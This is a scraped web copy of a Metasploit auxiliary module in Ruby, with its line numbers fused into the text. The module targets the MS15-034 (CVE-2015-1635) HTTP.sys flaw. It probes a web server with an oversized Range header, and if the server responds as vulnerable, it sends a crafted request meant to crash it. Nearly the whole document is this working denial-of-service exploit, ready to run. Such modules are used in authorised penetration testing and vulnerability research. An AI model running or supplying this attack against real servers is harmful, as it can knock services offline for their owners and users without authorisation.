Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67# Watch out, dos all the things8include Msf::Auxiliary::Scanner9include Msf::Exploit::Remote::HttpClient10include Msf::Auxiliary::Dos1112def initialize(info = {})13super(update_info(info,14'Name' => 'MS15-034 HTTP Protocol Stack Request Handling Denial-of-Service',15'Description' => %q{16This module will check if scanned hosts are vulnerable to CVE-2015-1635 (MS15-034), a17vulnerability in the HTTP protocol stack (HTTP.sys) that could result in arbitrary code18execution. This module will try to cause a denial-of-service.19},20'Author' =>21[22# Bill did all the work (see the pastebin code), twitter: @hectorh5619371623'Bill Finlayson',24# MSF. But really, these people made it happen:25# https://github.com/rapid7/metasploit-framework/pull/515026'sinn3r'27],28'References' =>29[30['CVE', '2015-1635'],31['MSB', 'MS15-034'],32['URL', 'https://pastebin.com/ypURDPc4'],33['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'],34['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'],35['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/']36],37'License' => MSF_LICENSE38))3940register_options(41[42OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/'])43])44end4546def upper_range470xFFFFFFFFFFFFFFFF48end4950def run_host(ip)51if check_host(ip) == Exploit::CheckCode::Vulnerable52dos_host(ip)53else54print_status("Probably not vulnerable, will not dos it.")55end56end5758# Needed to allow the vulnerable uri to be shared between the #check and #dos59def target_uri60@target_uri ||= super61end6263def get_file_size(ip)64@file_size ||= lambda {65file_size = -166uri = normalize_uri(target_uri.path)67res = send_request_raw('uri' => uri)6869unless res70vprint_error("Connection timed out")71return file_size72end7374if res.code == 40475vprint_error("You got a 404. URI must be a valid resource.")76return file_size77end7879file_size = res.body.length80vprint_status("File length: #{file_size} bytes")8182return file_size83}.call84end8586def dos_host(ip)87file_size = get_file_size(ip)88lower_range = file_size - 28990# In here we have to use Rex because if we dos it, it causes our module to hang too91uri = normalize_uri(target_uri.path)92begin93cli = Rex::Proto::Http::Client.new(ip)94cli.connect95req = cli.request_raw(96'uri' => uri,97'method' => 'GET',98'headers' => {99'Range' => "bytes=#{lower_range}-#{upper_range}"100}101)102cli.send_request(req)103rescue ::Errno::EPIPE, ::Timeout::Error104# Same exceptions the HttpClient mixin catches105end106print_status("DOS request sent")107end108109def potential_static_files_uris110uri = normalize_uri(target_uri.path)111112return [uri] unless uri[-1, 1] == '/'113114uris = ["#{uri}welcome.png"]115res = send_request_raw('uri' => uri, 'method' => 'GET')116117return uris unless res118119site_uri = URI.parse(full_uri)120page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace))121122page.xpath('//link|//script|//style|//img').each do |tag|123%w(href src).each do |attribute|124attr_value = tag[attribute]125126next unless attr_value && !attr_value.empty?127128uri = site_uri.merge(URI::DEFAULT_PARSER.escape(attr_value.strip))129130next unless uri.host == vhost || uri.host == rhost131132uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file133end134end135136uris.uniq137end138139def check_host(ip)140potential_static_files_uris.each do |potential_uri|141uri = normalize_uri(potential_uri)142143res = send_request_raw(144'uri' => uri,145'method' => 'GET',146'headers' => {147'Range' => "bytes=0-#{upper_range}"148}149)150151vmessage = "#{peer} - Checking #{uri}"152153if res && res.body.include?('Requested Range Not Satisfiable')154vprint_status("#{vmessage} [#{res.code}] - Vulnerable")155156target_uri.path = uri # Needed for the DoS attack157158return Exploit::CheckCode::Vulnerable159elsif res && res.body.include?('The request has an invalid header name')160vprint_status("#{vmessage} [#{res.code}] - Safe")161162return Exploit::CheckCode::Safe163else164vprint_status("#{vmessage} - Unknown")165end166end167168Exploit::CheckCode::Unknown169end170end171172173